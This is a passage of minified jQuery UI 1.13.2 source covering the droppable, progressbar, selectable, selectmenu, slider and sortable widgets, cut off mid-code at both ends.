n(this).droppable("instance").options.scope===e}),f.length&&(r=n(f[0]).droppable("instance"),r.greedyChild=u==="isover")),r&&u==="isover"&&(r.isover=!1,r.isout=!0,r._out.call(r,i)),this[u]=!0,this[u==="isout"?"isover":"isout"]=!1,this[u==="isover"?"_over":"_out"].call(this,i),r&&u==="isout"&&(r.isout=!1,r.isover=!0,r._over.call(r,i)))}})},dragStop:function(t,i){t.element.parentsUntil("body").off("scroll.droppable");t.options.refreshPositions||n.ui.ddmanager.prepareOffsets(t,i)}};n.uiBackCompat!==!1&&n.widget("ui.droppable",n.ui.droppable,{options:{hoverClass:!1,activeClass:!1},_addActiveClass:function(){this._super();this.options.activeClass&&this.element.addClass(this.options.activeClass)},_removeActiveClass:function(){this._super();this.options.activeClass&&this.element.removeClass(this.options.activeClass)},_addHoverClass:function(){this._super();this.options.hoverClass&&this.element.addClass(this.options.hoverClass)},_removeHoverClass:function(){this._super();this.options.hoverClass&&this.element.removeClass(this.options.hoverClass)}});vr=n.ui.droppable;
/*!
 * jQuery UI Progressbar 1.13.2
 * http://jqueryui.com
 *
 * Copyright jQuery Foundation and other contributors
 * Released under the MIT license.
 * http://jquery.org/license
 */
yr=n.widget("ui.progressbar",{version:"1.13.2",options:{classes:{"ui-progressbar":"ui-corner-all","ui-progressbar-value":"ui-corner-left","ui-progressbar-complete":"ui-corner-right"},max:100,value:0,change:null,complete:null},min:0,_create:function(){this.oldValue=this.options.value=this._constrainedValue();this.element.attr({role:"progressbar","aria-valuemin":this.min});this._addClass("ui-progressbar","ui-widget ui-widget-content");this.valueDiv=n("<div>").appendTo(this.element);this._addClass(this.valueDiv,"ui-progressbar-value","ui-widget-header");this._refreshValue()},_destroy:function(){this.element.removeAttr("role aria-valuemin aria-valuemax aria-valuenow");this.valueDiv.remove()},value:function(n){if(n===undefined)return this.options.value;this.options.value=this._constrainedValue(n);this._refreshValue()},_constrainedValue:function(n){return n===undefined&&(n=this.options.value),this.indeterminate=n===!1,typeof n!="number"&&(n=0),this.indeterminate?!1:Math.min(this.options.max,Math.max(this.min,n))},_setOptions:function(n){var t=n.value;delete n.value;this._super(n);this.options.value=this._constrainedValue(t);this._refreshValue()},_setOption:function(n,t){n==="max"&&(t=Math.max(this.min,t));this._super(n,t)},_setOptionDisabled:function(n){this._super(n);this.element.attr("aria-disabled",n);this._toggleClass(null,"ui-state-disabled",!!n)},_percentage:function(){return this.indeterminate?100:100*(this.options.value-this.min)/(this.options.max-this.min)},_refreshValue:function(){var t=this.options.value,i=this._percentage();this.valueDiv.toggle(this.indeterminate||t>this.min).width(i.toFixed(0)+"%");this._toggleClass(this.valueDiv,"ui-progressbar-complete",null,t===this.options.max)._toggleClass("ui-progressbar-indeterminate",null,this.indeterminate);this.indeterminate?(this.element.removeAttr("aria-valuenow"),this.overlayDiv||(this.overlayDiv=n("<div>").appendTo(this.valueDiv),this._addClass(this.overlayDiv,"ui-progressbar-overlay"))):(this.element.attr({"aria-valuemax":this.options.max,"aria-valuenow":t}),this.overlayDiv&&(this.overlayDiv.remove(),this.overlayDiv=null));this.oldValue!==t&&(this.oldValue=t,this._trigger("change"));t===this.options.max&&this._trigger("complete")}});
/*!
 * jQuery UI Selectable 1.13.2
 * http://jqueryui.com
 *
 * Copyright jQuery Foundation and other contributors
 * Released under the MIT license.
 * http://jquery.org/license
 */
pr=n.widget("ui.selectable",n.ui.mouse,{version:"1.13.2",options:{appendTo:"body",autoRefresh:!0,distance:0,filter:"*",tolerance:"touch",selected:null,selecting:null,start:null,stop:null,unselected:null,unselecting:null},_create:function(){var t=this;this._addClass("ui-selectable");this.dragged=!1;this.refresh=function(){t.elementPos=n(t.element[0]).offset();t.selectees=n(t.options.filter,t.element[0]);t._addClass(t.selectees,"ui-selectee");t.selectees.each(function(){var i=n(this),u=i.offset(),r={left:u.left-t.elementPos.left,top:u.top-t.elementPos.top};n.data(this,"selectable-item",{element:this,$element:i,left:r.left,top:r.top,right:r.left+i.outerWidth(),bottom:r.top+i.outerHeight(),startselected:!1,selected:i.hasClass("ui-selected"),selecting:i.hasClass("ui-selecting"),unselecting:i.hasClass("ui-unselecting")})})};this.refresh();this._mouseInit();this.helper=n("<div>");this._addClass(this.helper,"ui-selectable-helper")},_destroy:function(){this.selectees.removeData("selectable-item");this._mouseDestroy()},_mouseStart:function(t){var i=this,r=this.options;(this.opos=[t.pageX,t.pageY],this.elementPos=n(this.element[0]).offset(),this.options.disabled)||(this.selectees=n(r.filter,this.element[0]),this._trigger("start",t),n(r.appendTo).append(this.helper),this.helper.css({left:t.pageX,top:t.pageY,width:0,height:0}),r.autoRefresh&&this.refresh(),this.selectees.filter(".ui-selected").each(function(){var r=n.data(this,"selectable-item");r.startselected=!0;t.metaKey||t.ctrlKey||(i._removeClass(r.$element,"ui-selected"),r.selected=!1,i._addClass(r.$element,"ui-unselecting"),r.unselecting=!0,i._trigger("unselecting",t,{unselecting:r.element}))}),n(t.target).parents().addBack().each(function(){var u,r=n.data(this,"selectable-item");if(r)return u=!t.metaKey&&!t.ctrlKey||!r.$element.hasClass("ui-selected"),i._removeClass(r.$element,u?"ui-unselecting":"ui-selected")._addClass(r.$element,u?"ui-selecting":"ui-unselecting"),r.unselecting=!u,r.selecting=u,r.selected=u,u?i._trigger("selecting",t,{selecting:r.element}):i._trigger("unselecting",t,{unselecting:r.element}),!1}))},_mouseDrag:function(t){if(this.dragged=!0,!this.options.disabled){var o,i=this,s=this.options,r=this.opos[0],u=this.opos[1],f=t.pageX,e=t.pageY;return r>f&&(o=f,f=r,r=o),u>e&&(o=e,e=u,u=o),this.helper.css({left:r,top:u,width:f-r,height:e-u}),this.selectees.each(function(){var o=n.data(this,"selectable-item"),c=!1,h={};o&&o.element!==i.element[0]&&(h.left=o.left+i.elementPos.left,h.right=o.right+i.elementPos.left,h.top=o.top+i.elementPos.top,h.bottom=o.bottom+i.elementPos.top,s.tolerance==="touch"?c=!(h.left>f||h.right<r||h.top>e||h.bottom<u):s.tolerance==="fit"&&(c=h.left>r&&h.right<f&&h.top>u&&h.bottom<e),c?(o.selected&&(i._removeClass(o.$element,"ui-selected"),o.selected=!1),o.unselecting&&(i._removeClass(o.$element,"ui-unselecting"),o.unselecting=!1),o.selecting||(i._addClass(o.$element,"ui-selecting"),o.selecting=!0,i._trigger("selecting",t,{selecting:o.element}))):(o.selecting&&((t.metaKey||t.ctrlKey)&&o.startselected?(i._removeClass(o.$element,"ui-selecting"),o.selecting=!1,i._addClass(o.$element,"ui-selected"),o.selected=!0):(i._removeClass(o.$element,"ui-selecting"),o.selecting=!1,o.startselected&&(i._addClass(o.$element,"ui-unselecting"),o.unselecting=!0),i._trigger("unselecting",t,{unselecting:o.element}))),o.selected&&(t.metaKey||t.ctrlKey||o.startselected||(i._removeClass(o.$element,"ui-selected"),o.selected=!1,i._addClass(o.$element,"ui-unselecting"),o.unselecting=!0,i._trigger("unselecting",t,{unselecting:o.element})))))}),!1}},_mouseStop:function(t){var i=this;return this.dragged=!1,n(".ui-unselecting",this.element[0]).each(function(){var r=n.data(this,"selectable-item");i._removeClass(r.$element,"ui-unselecting");r.unselecting=!1;r.startselected=!1;i._trigger("unselected",t,{unselected:r.element})}),n(".ui-selecting",this.element[0]).each(function(){var r=n.data(this,"selectable-item");i._removeClass(r.$element,"ui-selecting")._addClass(r.$element,"ui-selected");r.selecting=!1;r.selected=!0;r.startselected=!0;i._trigger("selected",t,{selected:r.element})}),this._trigger("stop",t),this.helper.remove(),!1}});
/*!
 * jQuery UI Selectmenu 1.13.2
 * http://jqueryui.com
 *
 * Copyright jQuery Foundation and other contributors
 * Released under the MIT license.
 * http://jquery.org/license
 */
wr=n.widget("ui.selectmenu",[n.ui.formResetMixin,{version:"1.13.2",defaultElement:"<select>",options:{appendTo:null,classes:{"ui-selectmenu-button-open":"ui-corner-top","ui-selectmenu-button-closed":"ui-corner-all"},disabled:null,icons:{button:"ui-icon-triangle-1-s"},position:{my:"left top",at:"left bottom",collision:"none"},width:!1,change:null,close:null,focus:null,open:null,select:null},_create:function(){var t=this.element.uniqueId().attr("id");this.ids={element:t,button:t+"-button",menu:t+"-menu"};this._drawButton();this._drawMenu();this._bindFormResetHandler();this._rendered=!1;this.menuItems=n()},_drawButton:function(){var t,i=this,r=this._parseOption(this.element.find("option:selected"),this.element[0].selectedIndex);this.labels=this.element.labels().attr("for",this.ids.button);this._on(this.labels,{click:function(n){this.button.trigger("focus");n.preventDefault()}});this.element.hide();this.button=n("<span>",{tabindex:this.options.disabled?-1:0,id:this.ids.button,role:"combobox","aria-expanded":"false","aria-autocomplete":"list","aria-owns":this.ids.menu,"aria-haspopup":"true",title:this.element.attr("title")}).insertAfter(this.element);this._addClass(this.button,"ui-selectmenu-button ui-selectmenu-button-closed","ui-button ui-widget");t=n("<span>").appendTo(this.button);this._addClass(t,"ui-selectmenu-icon","ui-icon "+this.options.icons.button);this.buttonItem=this._renderButtonItem(r).appendTo(this.button);this.options.width!==!1&&this._resizeButton();this._on(this.button,this._buttonEvents);this.button.one("focusin",function(){i._rendered||i._refreshMenu()})},_drawMenu:function(){var t=this;this.menu=n("<ul>",{"aria-hidden":"true","aria-labelledby":this.ids.button,id:this.ids.menu});this.menuWrap=n("<div>").append(this.menu);this._addClass(this.menuWrap,"ui-selectmenu-menu","ui-front");this.menuWrap.appendTo(this._appendTo());this.menuInstance=this.menu.menu({classes:{"ui-menu":"ui-corner-bottom"},role:"listbox",select:function(n,i){n.preventDefault();t._setSelection();t._select(i.item.data("ui-selectmenu-item"),n)},focus:function(n,i){var r=i.item.data("ui-selectmenu-item");t.focusIndex!=null&&r.index!==t.focusIndex&&(t._trigger("focus",n,{item:r}),t.isOpen||t._select(r,n));t.focusIndex=r.index;t.button.attr("aria-activedescendant",t.menuItems.eq(r.index).attr("id"))}}).menu("instance");this.menuInstance._off(this.menu,"mouseleave");this.menuInstance._closeOnDocumentClick=function(){return!1};this.menuInstance._isDivider=function(){return!1}},refresh:function(){this._refreshMenu();this.buttonItem.replaceWith(this.buttonItem=this._renderButtonItem(this._getSelectedItem().data("ui-selectmenu-item")||{}));this.options.width===null&&this._resizeButton()},_refreshMenu:function(){var n,t=this.element.find("option");(this.menu.empty(),this._parseOptions(t),this._renderMenu(this.menu,this.items),this.menuInstance.refresh(),this.menuItems=this.menu.find("li").not(".ui-selectmenu-optgroup").find(".ui-menu-item-wrapper"),this._rendered=!0,t.length)&&(n=this._getSelectedItem(),this.menuInstance.focus(null,n),this._setAria(n.data("ui-selectmenu-item")),this._setOption("disabled",this.element.prop("disabled")))},open:function(n){this.options.disabled||(this._rendered?(this._removeClass(this.menu.find(".ui-state-active"),null,"ui-state-active"),this.menuInstance.focus(null,this._getSelectedItem())):this._refreshMenu(),this.menuItems.length)&&(this.isOpen=!0,this._toggleAttr(),this._resizeMenu(),this._position(),this._on(this.document,this._documentClick),this._trigger("open",n))},_position:function(){this.menuWrap.position(n.extend({"of":this.button},this.options.position))},close:function(n){this.isOpen&&(this.isOpen=!1,this._toggleAttr(),this.range=null,this._off(this.document),this._trigger("close",n))},widget:function(){return this.button},menuWidget:function(){return this.menu},_renderButtonItem:function(t){var i=n("<span>");return this._setText(i,t.label),this._addClass(i,"ui-selectmenu-text"),i},_renderMenu:function(t,i){var r=this,u="";n.each(i,function(i,f){var e;f.optgroup!==u&&(e=n("<li>",{text:f.optgroup}),r._addClass(e,"ui-selectmenu-optgroup","ui-menu-divider"+(f.element.parent("optgroup").prop("disabled")?" ui-state-disabled":"")),e.appendTo(t),u=f.optgroup);r._renderItemData(t,f)})},_renderItemData:function(n,t){return this._renderItem(n,t).data("ui-selectmenu-item",t)},_renderItem:function(t,i){var r=n("<li>"),u=n("<div>",{title:i.element.attr("title")});return i.disabled&&this._addClass(r,null,"ui-state-disabled"),this._setText(u,i.label),r.append(u).appendTo(t)},_setText:function(n,t){t?n.text(t):n.html("&#160;")},_move:function(n,t){var i,r,u=".ui-menu-item";this.isOpen?i=this.menuItems.eq(this.focusIndex).parent("li"):(i=this.menuItems.eq(this.element[0].selectedIndex).parent("li"),u+=":not(.ui-state-disabled)");r=n==="first"||n==="last"?i[n==="first"?"prevAll":"nextAll"](u).eq(-1):i[n+"All"](u).eq(0);r.length&&this.menuInstance.focus(t,r)},_getSelectedItem:function(){return this.menuItems.eq(this.element[0].selectedIndex).parent("li")},_toggle:function(n){this[this.isOpen?"close":"open"](n)},_setSelection:function(){var n;this.range&&(window.getSelection?(n=window.getSelection(),n.removeAllRanges(),n.addRange(this.range)):this.range.select(),this.button.trigger("focus"))},_documentClick:{mousedown:function(t){this.isOpen&&(n(t.target).closest(".ui-selectmenu-menu, #"+n.escapeSelector(this.ids.button)).length||this.close(t))}},_buttonEvents:{mousedown:function(){var n;window.getSelection?(n=window.getSelection(),n.rangeCount&&(this.range=n.getRangeAt(0))):this.range=document.selection.createRange()},click:function(n){this._setSelection();this._toggle(n)},keydown:function(t){var i=!0;switch(t.keyCode){case n.ui.keyCode.TAB:case n.ui.keyCode.ESCAPE:this.close(t);i=!1;break;case n.ui.keyCode.ENTER:this.isOpen&&this._selectFocusedItem(t);break;case n.ui.keyCode.UP:t.altKey?this._toggle(t):this._move("prev",t);break;case n.ui.keyCode.DOWN:t.altKey?this._toggle(t):this._move("next",t);break;case n.ui.keyCode.SPACE:this.isOpen?this._selectFocusedItem(t):this._toggle(t);break;case n.ui.keyCode.LEFT:this._move("prev",t);break;case n.ui.keyCode.RIGHT:this._move("next",t);break;case n.ui.keyCode.HOME:case n.ui.keyCode.PAGE_UP:this._move("first",t);break;case n.ui.keyCode.END:case n.ui.keyCode.PAGE_DOWN:this._move("last",t);break;default:this.menu.trigger(t);i=!1}i&&t.preventDefault()}},_selectFocusedItem:function(n){var t=this.menuItems.eq(this.focusIndex).parent("li");t.hasClass("ui-state-disabled")||this._select(t.data("ui-selectmenu-item"),n)},_select:function(n,t){var i=this.element[0].selectedIndex;this.element[0].selectedIndex=n.index;this.buttonItem.replaceWith(this.buttonItem=this._renderButtonItem(n));this._setAria(n);this._trigger("select",t,{item:n});n.index!==i&&this._trigger("change",t,{item:n});this.close(t)},_setAria:function(n){var t=this.menuItems.eq(n.index).attr("id");this.button.attr({"aria-labelledby":t,"aria-activedescendant":t});this.menu.attr("aria-activedescendant",t)},_setOption:function(n,t){if(n==="icons"){var i=this.button.find("span.ui-icon");this._removeClass(i,null,this.options.icons.button)._addClass(i,null,t.button)}this._super(n,t);n==="appendTo"&&this.menuWrap.appendTo(this._appendTo());n==="width"&&this._resizeButton()},_setOptionDisabled:function(n){this._super(n);this.menuInstance.option("disabled",n);this.button.attr("aria-disabled",n);this._toggleClass(this.button,null,"ui-state-disabled",n);this.element.prop("disabled",n);n?(this.button.attr("tabindex",-1),this.close()):this.button.attr("tabindex",0)},_appendTo:function(){var t=this.options.appendTo;return t&&(t=t.jquery||t.nodeType?n(t):this.document.find(t).eq(0)),t&&t[0]||(t=this.element.closest(".ui-front, dialog")),t.length||(t=this.document[0].body),t},_toggleAttr:function(){this.button.attr("aria-expanded",this.isOpen);this._removeClass(this.button,"ui-selectmenu-button-"+(this.isOpen?"closed":"open"))._addClass(this.button,"ui-selectmenu-button-"+(this.isOpen?"open":"closed"))._toggleClass(this.menuWrap,"ui-selectmenu-open",null,this.isOpen);this.menu.attr("aria-hidden",!this.isOpen)},_resizeButton:function(){var n=this.options.width;if(n===!1){this.button.css("width","");return}n===null&&(n=this.element.show().outerWidth(),this.element.hide());this.button.outerWidth(n)},_resizeMenu:function(){this.menu.outerWidth(Math.max(this.button.outerWidth(),this.menu.width("").outerWidth()+1))},_getCreateOptions:function(){var n=this._super();return n.disabled=this.element.prop("disabled"),n},_parseOptions:function(t){var r=this,i=[];t.each(function(t,u){u.hidden||i.push(r._parseOption(n(u),t))});this.items=i},_parseOption:function(n,t){var i=n.parent("optgroup");return{element:n,index:t,value:n.val(),label:n.text(),optgroup:i.attr("label")||"",disabled:i.prop("disabled")||n.prop("disabled")}},_destroy:function(){this._unbindFormResetHandler();this.menuWrap.remove();this.button.remove();this.element.show();this.element.removeUniqueId();this.labels.attr("for",this.ids.element)}}]);
/*!
 * jQuery UI Slider 1.13.2
 * http://jqueryui.com
 *
 * Copyright jQuery Foundation and other contributors
 * Released under the MIT license.
 * http://jquery.org/license
 */
br=n.widget("ui.slider",n.ui.mouse,{version:"1.13.2",widgetEventPrefix:"slide",options:{animate:!1,classes:{"ui-slider":"ui-corner-all","ui-slider-handle":"ui-corner-all","ui-slider-range":"ui-corner-all ui-widget-header"},distance:0,max:100,min:0,orientation:"horizontal",range:!1,step:1,value:0,values:null,change:null,slide:null,start:null,stop:null},numPages:5,_create:function(){this._keySliding=!1;this._mouseSliding=!1;this._animateOff=!0;this._handleIndex=null;this._detectOrientation();this._mouseInit();this._calculateNewMax();this._addClass("ui-slider ui-slider-"+this.orientation,"ui-widget ui-widget-content");this._refresh();this._animateOff=!1},_refresh:function(){this._createRange();this._createHandles();this._setupEvents();this._refreshValue()},_createHandles:function(){var r,i,u=this.options,t=this.element.find(".ui-slider-handle"),f=[];for(i=u.values&&u.values.length||1,t.length>i&&(t.slice(i).remove(),t=t.slice(0,i)),r=t.length;r<i;r++)f.push("<span tabindex='0'><\/span>");this.handles=t.add(n(f.join("")).appendTo(this.element));this._addClass(this.handles,"ui-slider-handle","ui-state-default");this.handle=this.handles.eq(0);this.handles.each(function(t){n(this).data("ui-slider-handle-index",t).attr("tabIndex",0)})},_createRange:function(){var t=this.options;t.range?(t.range===!0&&(t.values?t.values.length&&t.values.length!==2?t.values=[t.values[0],t.values[0]]:Array.isArray(t.values)&&(t.values=t.values.slice(0)):t.values=[this._valueMin(),this._valueMin()]),this.range&&this.range.length?(this._removeClass(this.range,"ui-slider-range-min ui-slider-range-max"),this.range.css({left:"",bottom:""})):(this.range=n("<div>").appendTo(this.element),this._addClass(this.range,"ui-slider-range")),(t.range==="min"||t.range==="max")&&this._addClass(this.range,"ui-slider-range-"+t.range)):(this.range&&this.range.remove(),this.range=null)},_setupEvents:function(){this._off(this.handles);this._on(this.handles,this._handleEvents);this._hoverable(this.handles);this._focusable(this.handles)},_destroy:function(){this.handles.remove();this.range&&this.range.remove();this._mouseDestroy()},_mouseCapture:function(t){var s,f,r,i,u,h,e,c,o=this,l=this.options;return l.disabled?!1:(this.elementSize={width:this.element.outerWidth(),height:this.element.outerHeight()},this.elementOffset=this.element.offset(),s={x:t.pageX,y:t.pageY},f=this._normValueFromMouse(s),r=this._valueMax()-this._valueMin()+1,this.handles.each(function(t){var e=Math.abs(f-o.values(t));(r>e||r===e&&(t===o._lastChangedValue||o.values(t)===l.min))&&(r=e,i=n(this),u=t)}),h=this._start(t,u),h===!1)?!1:(this._mouseSliding=!0,this._handleIndex=u,this._addClass(i,null,"ui-state-active"),i.trigger("focus"),e=i.offset(),c=!n(t.target).parents().addBack().is(".ui-slider-handle"),this._clickOffset=c?{left:0,top:0}:{left:t.pageX-e.left-i.width()/2,top:t.pageY-e.top-i.height()/2-(parseInt(i.css("borderTopWidth"),10)||0)-(parseInt(i.css("borderBottomWidth"),10)||0)+(parseInt(i.css("marginTop"),10)||0)},this.handles.hasClass("ui-state-hover")||this._slide(t,u,f),this._animateOff=!0,!0)},_mouseStart:function(){return!0},_mouseDrag:function(n){var t={x:n.pageX,y:n.pageY},i=this._normValueFromMouse(t);return this._slide(n,this._handleIndex,i),!1},_mouseStop:function(n){return this._removeClass(this.handles,null,"ui-state-active"),this._mouseSliding=!1,this._stop(n,this._handleIndex),this._change(n,this._handleIndex),this._handleIndex=null,this._clickOffset=null,this._animateOff=!1,!1},_detectOrientation:function(){this.orientation=this.options.orientation==="vertical"?"vertical":"horizontal"},_normValueFromMouse:function(n){var i,r,t,u,f;return this.orientation==="horizontal"?(i=this.elementSize.width,r=n.x-this.elementOffset.left-(this._clickOffset?this._clickOffset.left:0)):(i=this.elementSize.height,r=n.y-this.elementOffset.top-(this._clickOffset?this._clickOffset.top:0)),t=r/i,t>1&&(t=1),t<0&&(t=0),this.orientation==="vertical"&&(t=1-t),u=this._valueMax()-this._valueMin(),f=this._valueMin()+t*u,this._trimAlignValue(f)},_uiHash:function(n,t,i){var r={handle:this.handles[n],handleIndex:n,value:t!==undefined?t:this.value()};return this._hasMultipleValues()&&(r.value=t!==undefined?t:this.values(n),r.values=i||this.values()),r},_hasMultipleValues:function(){return this.options.values&&this.options.values.length},_start:function(n,t){return this._trigger("start",n,this._uiHash(t))},_slide:function(n,t,i){var u,r,f=this.value(),e=this.values();(this._hasMultipleValues()&&(r=this.values(t?0:1),f=this.values(t),this.options.values.length===2&&this.options.range===!0&&(i=t===0?Math.min(r,i):Math.max(r,i)),e[t]=i),i!==f)&&(u=this._trigger("slide",n,this._uiHash(t,i,e)),u!==!1)&&(this._hasMultipleValues()?this.values(t,i):this.value(i))},_stop:function(n,t){this._trigger("stop",n,this._uiHash(t))},_change:function(n,t){this._keySliding||this._mouseSliding||(this._lastChangedValue=t,this._trigger("change",n,this._uiHash(t)))},value:function(n){if(arguments.length){this.options.value=this._trimAlignValue(n);this._refreshValue();this._change(null,0);return}return this._value()},values:function(n,t){var r,u,i;if(arguments.length>1){this.options.values[n]=this._trimAlignValue(t);this._refreshValue();this._change(null,n);return}if(arguments.length)if(Array.isArray(arguments[0])){for(r=this.options.values,u=arguments[0],i=0;i<r.length;i+=1)r[i]=this._trimAlignValue(u[i]),this._change(null,i);this._refreshValue()}else return this._hasMultipleValues()?this._values(n):this.value();else return this._values()},_setOption:function(n,t){var i,r=0;n==="range"&&this.options.range===!0&&(t==="min"?(this.options.value=this._values(0),this.options.values=null):t==="max"&&(this.options.value=this._values(this.options.values.length-1),this.options.values=null));Array.isArray(this.options.values)&&(r=this.options.values.length);this._super(n,t);switch(n){case"orientation":this._detectOrientation();this._removeClass("ui-slider-horizontal ui-slider-vertical")._addClass("ui-slider-"+this.orientation);this._refreshValue();this.options.range&&this._refreshRange(t);this.handles.css(t==="horizontal"?"bottom":"left","");break;case"value":this._animateOff=!0;this._refreshValue();this._change(null,0);this._animateOff=!1;break;case"values":for(this._animateOff=!0,this._refreshValue(),i=r-1;i>=0;i--)this._change(null,i);this._animateOff=!1;break;case"step":case"min":case"max":this._animateOff=!0;this._calculateNewMax();this._refreshValue();this._animateOff=!1;break;case"range":this._animateOff=!0;this._refresh();this._animateOff=!1}},_setOptionDisabled:function(n){this._super(n);this._toggleClass(null,"ui-state-disabled",!!n)},_value:function(){var n=this.options.value;return this._trimAlignValue(n)},_values:function(n){var r,t,i;if(arguments.length)return r=this.options.values[n],this._trimAlignValue(r);if(this._hasMultipleValues()){for(t=this.options.values.slice(),i=0;i<t.length;i+=1)t[i]=this._trimAlignValue(t[i]);return t}return[]},_trimAlignValue:function(n){if(n<=this._valueMin())return this._valueMin();if(n>=this._valueMax())return this._valueMax();var t=this.options.step>0?this.options.step:1,i=(n-this._valueMin())%t,r=n-i;return Math.abs(i)*2>=t&&(r+=i>0?t:-t),parseFloat(r.toFixed(5))},_calculateNewMax:function(){var n=this.options.max,i=this._valueMin(),t=this.options.step,r=Math.round((n-i)/t)*t;n=r+i;n>this.options.max&&(n-=t);this.max=parseFloat(n.toFixed(this._precision()))},_precision:function(){var n=this._precisionOf(this.options.step);return this.options.min!==null&&(n=Math.max(n,this._precisionOf(this.options.min))),n},_precisionOf:function(n){var t=n.toString(),i=t.indexOf(".");return i===-1?0:t.length-i-1},_valueMin:function(){return this.options.min},_valueMax:function(){return this.max},_refreshRange:function(n){n==="vertical"&&this.range.css({width:"",left:""});n==="horizontal"&&this.range.css({height:"",bottom:""})},_refreshValue:function(){var s,t,c,f,h,e=this.options.range,i=this.options,r=this,u=this._animateOff?!1:i.animate,o={};this._hasMultipleValues()?this.handles.each(function(f){t=(r.values(f)-r._valueMin())/(r._valueMax()-r._valueMin())*100;o[r.orientation==="horizontal"?"left":"bottom"]=t+"%";n(this).stop(1,1)[u?"animate":"css"](o,i.animate);r.options.range===!0&&(r.orientation==="horizontal"?(f===0&&r.range.stop(1,1)[u?"animate":"css"]({left:t+"%"},i.animate),f===1&&r.range[u?"animate":"css"]({width:t-s+"%"},{queue:!1,duration:i.animate})):(f===0&&r.range.stop(1,1)[u?"animate":"css"]({bottom:t+"%"},i.animate),f===1&&r.range[u?"animate":"css"]({height:t-s+"%"},{queue:!1,duration:i.animate})));s=t}):(c=this.value(),f=this._valueMin(),h=this._valueMax(),t=h!==f?(c-f)/(h-f)*100:0,o[this.orientation==="horizontal"?"left":"bottom"]=t+"%",this.handle.stop(1,1)[u?"animate":"css"](o,i.animate),e==="min"&&this.orientation==="horizontal"&&this.range.stop(1,1)[u?"animate":"css"]({width:t+"%"},i.animate),e==="max"&&this.orientation==="horizontal"&&this.range.stop(1,1)[u?"animate":"css"]({width:100-t+"%"},i.animate),e==="min"&&this.orientation==="vertical"&&this.range.stop(1,1)[u?"animate":"css"]({height:t+"%"},i.animate),e==="max"&&this.orientation==="vertical"&&this.range.stop(1,1)[u?"animate":"css"]({height:100-t+"%"},i.animate))},_handleEvents:{keydown:function(t){var e,r,i,u,f=n(t.target).data("ui-slider-handle-index");switch(t.keyCode){case n.ui.keyCode.HOME:case n.ui.keyCode.END:case n.ui.keyCode.PAGE_UP:case n.ui.keyCode.PAGE_DOWN:case n.ui.keyCode.UP:case n.ui.keyCode.RIGHT:case n.ui.keyCode.DOWN:case n.ui.keyCode.LEFT:if(t.preventDefault(),!this._keySliding&&(this._keySliding=!0,this._addClass(n(t.target),null,"ui-state-active"),e=this._start(t,f),e===!1))return}u=this.options.step;r=this._hasMultipleValues()?i=this.values(f):i=this.value();switch(t.keyCode){case n.ui.keyCode.HOME:i=this._valueMin();break;case n.ui.keyCode.END:i=this._valueMax();break;case n.ui.keyCode.PAGE_UP:i=this._trimAlignValue(r+(this._valueMax()-this._valueMin())/this.numPages);break;case n.ui.keyCode.PAGE_DOWN:i=this._trimAlignValue(r-(this._valueMax()-this._valueMin())/this.numPages);break;case n.ui.keyCode.UP:case n.ui.keyCode.RIGHT:if(r===this._valueMax())return;i=this._trimAlignValue(r+u);break;case n.ui.keyCode.DOWN:case n.ui.keyCode.LEFT:if(r===this._valueMin())return;i=this._trimAlignValue(r-u)}this._slide(t,f,i)},keyup:function(t){var i=n(t.target).data("ui-slider-handle-index");this._keySliding&&(this._keySliding=!1,this._stop(t,i),this._change(t,i),this._removeClass(n(t.target),null,"ui-state-active"))}}});
/*!
 * jQuery UI Sortable 1.13.2
 * http://jqueryui.com
 *
 * Copyright jQuery Foundation and other contributors
 * Released under the MIT license.
 * http://jquery.org/license
 */
kr=n.widget("ui.sortable",n.ui.mouse,{version:"1.13.2",widgetEventPrefix:"sort",ready:!1,options:{appendTo:"parent",axis:!1,connectWith:!1,containment:!1,cursor:"auto",cursorAt:!1,dropOnEmpty:!0,forcePlaceholderSize:!1,forceHelperSize:!1,grid:!1,handle:!1,helper:"original",items:"> *",opacity:!1,placeholder:!1,revert:!1,scroll:!0,scrollSensitivity:20,scrollSpeed:20,scope:"default",tolerance:"intersect",zIndex:1e3,activate:null,beforeStop:null,change:null,deactivate:null,out:null,over:null,receive:null,remove:null,sort:null,start:null,stop:null,update:null},_isOverAxis:function(n,t,i){return n>=t&&n<t+i},_isFloating:function(n){return/left|right/.test(n.css("float"))||/inline|table-cell/.test(n.css("display"))},_create:function(){this.containerCache={};this._addClass("ui-sortable");this.refresh();this.offset=this.element.offset();this._mouseInit();this._setHandleClassName();this.ready=!0},_setOption:function(n,t){this._super(n,t);n==="handle"&&this._setHandleClassName()},_setHandleClassName:function(){var t=this;this._removeClass(this.element.find(".ui-sortable-handle"),"ui-sortable-handle");n.each(this.items,function(){t._addClass(this.instance.options.handle?this.item.find(this.instance.options.handle):this.item,"ui-sortable-handle")})},_destroy:function(){this._mouseDestroy();for(var n=this.items.length-1;n>=0;n--)this.items[n].item.removeData(this.widgetName+"-item");return this},_mouseCapture:function(t,i){var r=null,f=!1,u=this;return this.reverting?!1:this.options.disabled||this.options.type==="static"?!1:(this._refreshItems(t),n(t.target).parents().each(function(){if(n.data(this,u.widgetName+"-item")===u)return r=n(this),!1}),n.data(t.target,u.widgetName+"-item")===u&&(r=n(t.target)),!r)?!1:this.options.handle&&!i&&(n(this.options.handle,r).find("*").addBack().each(function(){this===t.target&&(f=!0)}),!f)?!1:(this.currentItem=r,this._removeCurrentsFromItems(),!0)},_mouseStart:function(t,i,r){var f,e,u=this.options;if(this.currentContainer=this,this.refreshPositions(),this.appendTo=n(u.appendTo!=="parent"?u.appendTo:this.currentItem.parent()),this.helper=this._createHelper(t),this._cacheHelperProportions(),this._cacheMargins(),this.offset=this.currentItem.offset(),this.offset={top:this.offset.top-this.margins.top,left:this.offset.left-this.margins.left},n.extend(this.offset,{click:{left:t.pageX-this.offset.left,top:t.pageY-this.offset.top},relative:this._getRelativeOffset()}),this.helper.css("position","absolute"),this.cssPosition=this.helper.css("position"),u.cursorAt&&this._adjustOffsetFromHelper(u.cursorAt),this.domPosition={prev:this.currentItem.prev()[0],parent:this.currentItem.parent()[0]},this.helper[0]!==this.currentItem[0]&&this.currentItem.hide(),this._createPlaceholder(),this.scrollParent=this.placeholder.scrollParent(),n.extend(this.offset,{parent:this._getParentOffset()}),u.containment&&this._setContainment(),u.cursor&&u.cursor!=="auto"&&(e=this.document.find("body"),this.storedCursor=e.css("cursor"),e.css("cursor",u.cursor),this.storedStylesheet=n("<style>*{ cursor: "+u.cursor+" !important; 